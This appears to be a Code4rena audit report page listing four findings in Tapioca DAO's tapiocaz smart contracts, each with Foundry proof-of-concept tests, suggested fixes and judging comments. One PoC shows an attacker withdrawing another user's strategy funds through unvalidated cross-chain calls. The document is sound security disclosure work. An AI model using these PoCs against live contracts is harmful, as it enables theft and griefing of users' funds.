907.51 USDC - $907.51
https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L539-L545 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L153-L159
Exercise option cross chain message in the (m)TapiocaOFT
will always revert in the destination, but works in the source chain, where it debits the funds from users. Thus, these funds will not be credited in the destination and are forever lost.
In the BaseTOFT
, if the packet from the received cross chain message in lzReceive()
is of type PT_TAP_EXERCISE
, it delegate calls to the BaseTOFTOptionsModule
:
function _nonblockingLzReceive( uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload ) internal virtual override { uint256 packetType = _payload.toUint256(0); ... } else if (packetType == PT_TAP_EXERCISE) { _executeOnDestination( Module.Options, abi.encodeWithSelector( BaseTOFTOptionsModule.exercise.selector, _srcChainId, _srcAddress, _nonce, _payload ), _srcChainId, _srcAddress, _nonce, _payload ); ...
In the BaseTOFTOptionsModule
, the exercise()
function is declared as:
function exercise( address module, uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload ) public { ... }
Notice that the address module
argument is specified in the exercise()
function declaration, but not in the _nonBlockingLzReceive()
call to it. This will make the message always revert because it fails when decoding the arguments to the function call, due to the extra address module
argument.
The following POC illustrates this behaviour. The exerciseOption()
cross chain message fails on the destination:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.18; import {Test, console} from "forge-std/Test.sol"; import {TapiocaOFT} from "contracts/tOFT/TapiocaOFT.sol"; import {BaseTOFTOptionsModule} from "contracts/tOFT/modules/BaseTOFTOptionsModule.sol"; import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol"; import {ISendFrom} from "tapioca-periph/contracts/interfaces/ISendFrom.sol"; import {ICommonData} from "tapioca-periph/contracts/interfaces/ICommonData.sol"; import {ITapiocaOptionsBrokerCrossChain} from "tapioca-periph/contracts/interfaces/ITapiocaOptionsBroker.sol"; contract TapiocaOFTPOC is Test { address public constant LZ_ENDPOINT = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675; uint16 internal constant PT_TAP_EXERCISE = 777; event MessageFailed(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes _payload, bytes _reason); function test_POC_ExerciseWrongArguments() public { vm.createSelectFork("https://eth.llamarpc.com"); address optionsModule_ = address(new BaseTOFTOptionsModule(address(LZ_ENDPOINT), address(0), IYieldBoxBase(address(2)), "SomeName", "SomeSymbol", 18, block.chainid)); TapiocaOFT tapiocaOft_ = new TapiocaOFT( LZ_ENDPOINT, address(0), IYieldBoxBase(address(3)), "SomeName", "SomeSymbol", 18, block.chainid, payable(address(1)), payable(address(2)), payable(address(3)), payable(optionsModule_) ); address user_ = makeAddr("user"); deal(user_, 2 ether); vm.prank(user_); tapiocaOft_.wrap{value: 1 ether}(user_, user_, 1 ether); ITapiocaOptionsBrokerCrossChain.IExerciseOptionsData memory optionsData_; ITapiocaOptionsBrokerCrossChain.IExerciseLZData memory lzData_; ITapiocaOptionsBrokerCrossChain.IExerciseLZSendTapData memory tapSendData_; ICommonData.IApproval[] memory approvals_; optionsData_.from = user_; optionsData_.target = user_; optionsData_.paymentTokenAmount = 1 ether; optionsData_.oTAPTokenID = 1; optionsData_.paymentToken = address(0); optionsData_.tapAmount = 1 ether; lzData_.lzDstChainId = 102; lzData_.zroPaymentAddress = address(0); lzData_.extraGas = 200_000; tapSendData_.withdrawOnAnotherChain = false; tapSendData_.tapOftAddress = address(0); tapSendData_.lzDstChainId = 102; tapSendData_.amount = 0; tapSendData_.zroPaymentAddress = address(0); tapSendData_.extraGas = 0; tapiocaOft_.setTrustedRemoteAddress(102, abi.encodePacked(tapiocaOft_)); vm.prank(user_); tapiocaOft_.exerciseOption{value: 1 ether}( optionsData_, lzData_, tapSendData_, approvals_ ); bytes memory lzPayload_ = abi.encode( PT_TAP_EXERCISE, optionsData_, tapSendData_, approvals_ ); vm.prank(LZ_ENDPOINT); vm.expectEmit(true, true, true, true, address(tapiocaOft_)); emit MessageFailed(102, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_, vm.parseBytes("0x4e487b710000000000000000000000000000000000000000000000000000000000000041")); tapiocaOft_.lzReceive(102, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_); } }
Vscode, Foundry
Adding the extra module parameter when encoding the function call in _nonBlockingLzReceive()
would be vulnerable to someone calling the BaseTOFTOptionsModule
directly on function exercise()
with a malicious module
argument. It's safer to remove the module
argument and call exerciseInternal()
directly, which should work since it's a public
function.
function _nonblockingLzReceive( uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload ) internal virtual override { uint256 packetType = _payload.toUint256(0); ... } else if (packetType == PT_TAP_EXERCISE) { _executeOnDestination( Module.Options, abi.encodeWithSelector( BaseTOFTOptionsModule.exercise.selector, address(optionsModule), // here _srcChainId, _srcAddress, _nonce, _payload ), _srcChainId, _srcAddress, _nonce, _payload ); ...
en/de-code
#0 - c4-pre-sort
2023-08-08T09:18:31Z
minhquanym marked the issue as primary issue
#1 - c4-sponsor
2023-09-01T01:13:42Z
0xRektora (sponsor) confirmed
#2 - c4-judge
2023-09-29T18:04:18Z
dmvt marked the issue as selected for report
🌟 Selected for report: carrotsmuggler
Also found by: 0x73696d616f, peakbolt, xuwinnie
471.2071 USDC - $471.21
https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L256 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L467 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L89 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L188
Users can be griefed by an attacker by withdrawing from a strategy using the cross chain function retrieveFromStrategy()
of (m)TapiocaOFT
.
Function retrieveFromStrategy()
of BaseTOFT
, which is inherited by both mTapiocaOFT
and TapiocaOFT
, does not validate the from
address whose funds will be withdrawn from a strategy
of YieldBox
on the destination chain, as shown below in the BaseTOFT
_nonBlockingLzReceive()
and BaseTOFTStrategyModule
retrieveFromStrategy()
:
BaseTOFT
function _nonblockingLzReceive( uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload ) internal virtual override { ... } else if (packetType == PT_YB_RETRIEVE_STRAT) { _executeOnDestination( Module.Strategy, abi.encodeWithSelector( BaseTOFTStrategyModule.strategyWithdraw.selector, _srcChainId, _payload // no validation ), _srcChainId, _srcAddress, _nonce, _payload ); .... }
BaseTOFTStrategyModule
function retrieveFromStrategy( address _from, uint256 amount, uint256 share, uint256 assetId, uint16 lzDstChainId, address zroPaymentAddress, bytes memory airdropAdapterParam ) external payable { require(amount > 0, "TOFT_0"); bytes32 toAddress = LzLib.addressToBytes32(msg.sender); bytes memory lzPayload = abi.encode( PT_YB_RETRIEVE_STRAT, LzLib.addressToBytes32(_from), // no validation toAddress, amount, share, assetId, zroPaymentAddress ); _lzSend( lzDstChainId, lzPayload, payable(msg.sender), zroPaymentAddress, airdropAdapterParam, msg.value ); emit SendToChain(lzDstChainId, msg.sender, toAddress, amount); }
Thus, attackers can withdraw funds on behalf of users, as long as they have approved the (m)Tapioca
contract to withdraw their funds. Users are likely to have approved the (m)Tapioca
contract as long as they have ever used cross chain functionalities related to YieldBox
, such as retrieveFromStrategy()
.
The following POC in Foundry demonstrates how an attacker can withdraw funds from a strategy on behalf of a user:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.18; import {Test, console} from "forge-std/Test.sol"; import {TapiocaOFT} from "contracts/tOFT/TapiocaOFT.sol"; import {BaseTOFTStrategyModule} from "contracts/tOFT/modules/BaseTOFTStrategyModule.sol"; import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol"; import {ISendFrom} from "tapioca-periph/contracts/interfaces/ISendFrom.sol"; import {ICommonData} from "tapioca-periph/contracts/interfaces/ICommonData.sol"; contract MockYieldBox is Test { address public tapiocaOFT; function withdraw( uint256, address, address _to, uint256 _amount, uint256 ) external payable returns (uint256, uint256) { deal(tapiocaOFT, _to, _amount); // just deal tapiocaOft to the _to address } function setTapiocaOft(address tapiocaOFT_) external { tapiocaOFT = tapiocaOFT_; } } contract TapiocaOFTPOC is Test { address public constant LZ_ENDPOINT = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675; uint16 public constant PT_YB_RETRIEVE_STRAT = 771; function test_POC_GriefAttackerRetrieveStrategy() public { vm.createSelectFork("https://eth.llamarpc.com"); address strategyModule_ = address(new BaseTOFTStrategyModule(address(LZ_ENDPOINT), address(0), IYieldBoxBase(address(2)), "SomeName", "SomeSymbol", 18, block.chainid)); address mockYieldBox_ = address(new MockYieldBox()); TapiocaOFT tapiocaOft_ = new TapiocaOFT( LZ_ENDPOINT, address(0), IYieldBoxBase(mockYieldBox_), "SomeName", "SomeSymbol", 18, block.chainid, payable(address(1)), payable(strategyModule_), payable(address(3)), payable(address(4)) ); MockYieldBox(mockYieldBox_).setTapiocaOft(address(tapiocaOft_)); address attacker_ = makeAddr("attacker"); deal(attacker_, 1 ether); // lz fees address user_ = makeAddr("user"); address from_ = user_; uint256 amount_ = 1; uint256 share_ = 1; uint256 assetId_ = 1; uint16 lzDstChainId_ = 102; address zroPaymentAddress_ = address(0); bytes memory airdropAdapterParams_ = abi.encodePacked(uint16(1), uint256(200_000)); tapiocaOft_.setTrustedRemoteAddress(102, abi.encodePacked(tapiocaOft_)); // attacker receivesFromStrategy of user, griefing the user's funds by sending them back to the user vm.prank(attacker_); tapiocaOft_.retrieveFromStrategy{value: 1 ether}( from_, amount_, share_, assetId_, lzDstChainId_, zroPaymentAddress_, airdropAdapterParams_ ); bytes memory lzPayload_ = abi.encode( PT_YB_RETRIEVE_STRAT, bytes32(uint256(uint160(from_))), attacker_, // does not matter, it is ignored in the `strategyWithdraw()` function amount_, share_, assetId_, zroPaymentAddress_ ); deal(address(tapiocaOft_), 1 ether); // required to pay lz fees when sending the toft back vm.prank(LZ_ENDPOINT); tapiocaOft_.lzReceive(102, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_); } }
Vscode, Foundry
The from
address should be the msg.sender
.
There are other options, but this one is the simplest and should work for most use cases (except smart contracts with different addresses among chains, but that should be handled separately).
Invalid Validation
#0 - c4-pre-sort
2023-08-08T09:24:33Z
minhquanym marked the issue as primary issue
#1 - c4-sponsor
2023-08-24T20:18:49Z
0xRektora marked the issue as sponsor confirmed
#2 - c4-judge
2023-09-30T13:09:25Z
dmvt changed the severity to 3 (High Risk)
#3 - c4-judge
2023-09-30T13:09:55Z
dmvt marked the issue as duplicate of #1173
#4 - c4-judge
2023-09-30T13:10:01Z
dmvt marked the issue as satisfactory
99.2362 USDC - $99.24
https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/Balancer.sol#L204 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/Balancer.sol#L288 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/Balancer.sol#L322
The rebalance functionality of the Balancer
will always revert.
The rebalance call uses the swapETH()
function of the LayerZero RouterETH
, if the erc
of the mTapiocaOFT
is ETH:
function _sendNative( address payable _oft, uint256 _amount, uint16 _dstChainId, uint256 _slippage ) private { if (address(this).balance < _amount) revert ExceedsBalance(); routerETH.swapETH( _dstChainId, _oft, //refund abi.encodePacked(connectedOFTs[_oft][_dstChainId].dstOft), _amount, _computeMinAmount(_amount, _slippage) ); }
The function swapETH()
gets the ETH from the msg.value
, such that if it is lower than the amount sent as argument it reverts, as can be seen on etherscan, file 1, line 48.
function swapETH( uint16 _dstChainId, // destination Stargate chainId address payable _refundAddress, // refund additional messageFee to this address bytes calldata _toAddress, // the receiver of the destination ETH uint256 _amountLD, // the amount, in Local Decimals, to be swapped uint256 _minAmountLD // the minimum amount accepted out on destination ) external payable { require(msg.value > _amountLD, "Stargate: msg.value must be > _amountLD"); ...
As a POC, forked mainnet and attempted to rebalance an mTapiocaOFT
with ETH as the underlying asset in Foundry, proving that it reverts.
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.18; import { Test, console } from "forge-std/Test.sol"; import { mTapiocaOFT } from "contracts/tOFT/mTapiocaOFT.sol"; import { IYieldBoxBase } from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol"; import { Balancer } from "contracts/Balancer.sol"; contract TapiocaOFTPOC is Test { address public constant ROUTER_ETH = 0x150f94B44927F078737562f0fcF3C95c01Cc2376; address public constant ROUTER = 0x8731d54E9D02c286767d56ac03e8037C07e01e98; function test_POC_Rebalancer_SwapETH_AlwaysReverts() public { vm.createSelectFork("https://eth.llamarpc.com"); address owner_ = makeAddr("owner"); vm.startPrank(owner_); mTapiocaOFT mTapiocaOft_ = new mTapiocaOFT( address(1), address(0), IYieldBoxBase(address(3)), "SomeName", "SomeSymbol", 18, block.chainid, payable(address(1)), payable(address(2)), payable(address(3)), payable(address(4)) ); // most of these values do not matter for this POC // only the srcOft_ must be the created mTapiocaOft_ above uint16 srcChainID = 1; uint16 dstChainID = 2; address srcOft_ = address(mTapiocaOft_); address dstOft_ = srcOft_; bytes memory ercData_ = abi.encode(uint256(1), uint256(1)); uint256 slippage_ = 1e3; uint16 srcChainID_ = 1; uint16 dstChainID_ = 2; mTapiocaOft_.setTrustedRemoteAddress(dstChainID_, abi.encodePacked(dstOft_)); deal(address(mTapiocaOft_), 1 ether); // need ether to rebalance deal(owner_, 1 ether + 1); // the rebalance call requires sending more than the amount to rebalance in the call Balancer balancer_ = new Balancer(ROUTER_ETH, ROUTER, owner_); balancer_.initConnectedOFT(srcOft_, dstChainID_, dstOft_, ercData_); balancer_.addRebalanceAmount(srcOft_, dstChainID_, 1 ether); mTapiocaOft_.updateBalancerState(address(balancer_), true); vm.expectRevert("Stargate: msg.value must be > _amountLD"); balancer_.rebalance{value: 1 ether + 1}(payable(srcOft_), dstChainID_, slippage_, 1 ether, ercData_); } }
For erc20s, the swap()
function of the Router
is called, and not fee is forwarded as msg.value:
function _sendToken( address payable _oft, uint256 _amount, uint16 _dstChainId, uint256 _slippage, bytes memory _data ) private { ... erc20.approve(address(router), _amount); router.swap( _dstChainId, _srcPoolId, _dstPoolId, _oft, //refund, _amount, _computeMinAmount(_amount, _slippage), _lzTxParams, _lzTxParams.dstNativeAddr, "0x" ); }
It can be read here, the fee must also be forwarded as { value: xxxx }
.
Vscode, Foundry, Etherscan
Forward the ETH value + message fee in the swapETH()
call to the RouterETH
. This fee should be fetched from function quoteLayerZeroFee()
in the Stargate Router
. For erc20, forward only the message fee in sendToken()
.
function _sendNative( address payable _oft, uint256 _amount, uint16 _dstChainId, uint256 _slippage, uint256 _fee // new fee argument required by the router ) private { if (address(this).balance < _amount) revert ExceedsBalance(); routerETH.swapETH{value: _amount + _fee}( _dstChainId, _oft, //refund abi.encodePacked(connectedOFTs[_oft][_dstChainId].dstOft), _amount, _computeMinAmount(_amount, _slippage) ); } ... function _sendToken( address payable _oft, uint256 _amount, uint16 _dstChainId, uint256 _slippage, bytes memory _data, uint256 _fee, ) private { ... erc20.approve(address(router), _amount); router.swap{value: _fee}( _dstChainId, _srcPoolId, _dstPoolId, _oft, //refund, _amount, _computeMinAmount(_amount, _slippage), _lzTxParams, _lzTxParams.dstNativeAddr, "0x" ); }
Error
#0 - c4-pre-sort
2023-08-07T10:05:40Z
minhquanym marked the issue as primary issue
#1 - c4-sponsor
2023-08-22T17:16:40Z
0xRektora marked the issue as sponsor confirmed
#2 - c4-judge
2023-09-29T18:37:10Z
dmvt marked the issue as selected for report
🌟 Selected for report: dirk_y
Also found by: 0x73696d616f, rvierdiiev
209.4254 USDC - $209.43
When rebalancing in the Balancer
, the ETH should be fetched from the mTapiocaOFT
via extractUnderlying()
and not from the msg.value
. The msg.value
should only contain the message fee to forward to the Router
, but the code reverts if it is smaller than the amount to rebalance, having to send extra amount
as msg.value
, which can't be recovered.
In the Balancer
, rebalance()
function, it retrieves an _amount
of ETH from mTapiocaOFT
,
ITapiocaOFT(_srcOft).extractUnderlying(_amount);
However, it reverts if the msg.value
is not bigger than the _amount
to rebalance.
if (msg.value <= _amount) revert FeeAmountNotSet();
Thus, the actual _amount
gathered is twice the amount needed, and only half of it is sent to the Router
and rebalanced. The remaining is lost forever in the Balancer
contract.
The following POC written in Foundry proves it:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.18; import { Test, console } from "forge-std/Test.sol"; import { mTapiocaOFT } from "contracts/tOFT/mTapiocaOFT.sol"; import { IYieldBoxBase } from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol"; import { Balancer } from "contracts/Balancer.sol"; contract MockRouter { function swapETH( uint16 _dstChainId, // destination Stargate chainId address payable _refundAddress, // refund additional messageFee to this address bytes calldata _toAddress, // the receiver of the destination ETH uint256 _amountLD, // the amount, in Local Decimals, to be swapped uint256 _minAmountLD // the minimum amount accepted out on destination ) external payable {} } contract TapiocaOFTPOC is Test { function test_POC_Rebalancer_SwapETH_LostETH() public { address owner_ = makeAddr("owner"); vm.startPrank(owner_); mTapiocaOFT mTapiocaOft_ = new mTapiocaOFT( address(1), address(0), IYieldBoxBase(address(3)), "SomeName", "SomeSymbol", 18, block.chainid, payable(address(1)), payable(address(2)), payable(address(3)), payable(address(4)) ); // most of these values do not matter for this POC // only the srcOft_ must be the created mTapiocaOft_ above uint16 srcChainID = 1; uint16 dstChainID = 2; address srcOft_ = address(mTapiocaOft_); address dstOft_ = srcOft_; bytes memory ercData_ = abi.encode(uint256(1), uint256(1)); uint256 slippage_ = 1e3; uint16 srcChainID_ = 1; uint16 dstChainID_ = 2; mTapiocaOft_.setTrustedRemoteAddress(dstChainID_, abi.encodePacked(dstOft_)); deal(address(mTapiocaOft_), 1 ether); // need ether to rebalance deal(owner_, 1 ether + 1); // the rebalance call requires sending more than the amount to rebalance in the call address mockRouter_ = address(new MockRouter()); Balancer balancer_ = new Balancer(mockRouter_, mockRouter_, owner_); balancer_.initConnectedOFT(srcOft_, dstChainID_, dstOft_, ercData_); balancer_.addRebalanceAmount(srcOft_, dstChainID_, 1 ether); mTapiocaOft_.updateBalancerState(address(balancer_), true); balancer_.rebalance{value: 1 ether + 1}(payable(srcOft_), dstChainID_, slippage_, 1 ether, ercData_); assertEq(address(balancer_).balance, 2 ether + 1); // double the amount + fee. Should be only the amount, but `swapETH()` does not forward ETH, it's another vulnerability } }
Vscode, Foundry
The fee could be fetched from the Router
directly using router.quoteLayerZeroFee()
(using a mixture of solidity and javascript for reference) and requiring that it equals msg.value
:
uint256 fee = router.quoteLayerZeroFee( dstChainId, // destination chainId functionType, // function type: see Bridge.sol for all types toAddress, // destination of tokens "0x", // payload, using abi.encode() ({ dstGasForCall: 0, // extra gas, if calling smart contract, dstNativeAmount: 0, // amount of dust dropped in destination wallet dstNativeAddr: taskArgs.dstNativeAddr // destination wallet for dust }) require(msg.value == fee);
Alternatively, it can be computed off chain and skip the require
.
Error
#0 - c4-pre-sort
2023-08-07T10:17:18Z
minhquanym marked the issue as duplicate of #334
#1 - c4-judge
2023-09-21T12:22:29Z
dmvt changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-09-21T12:25:17Z
dmvt marked the issue as satisfactory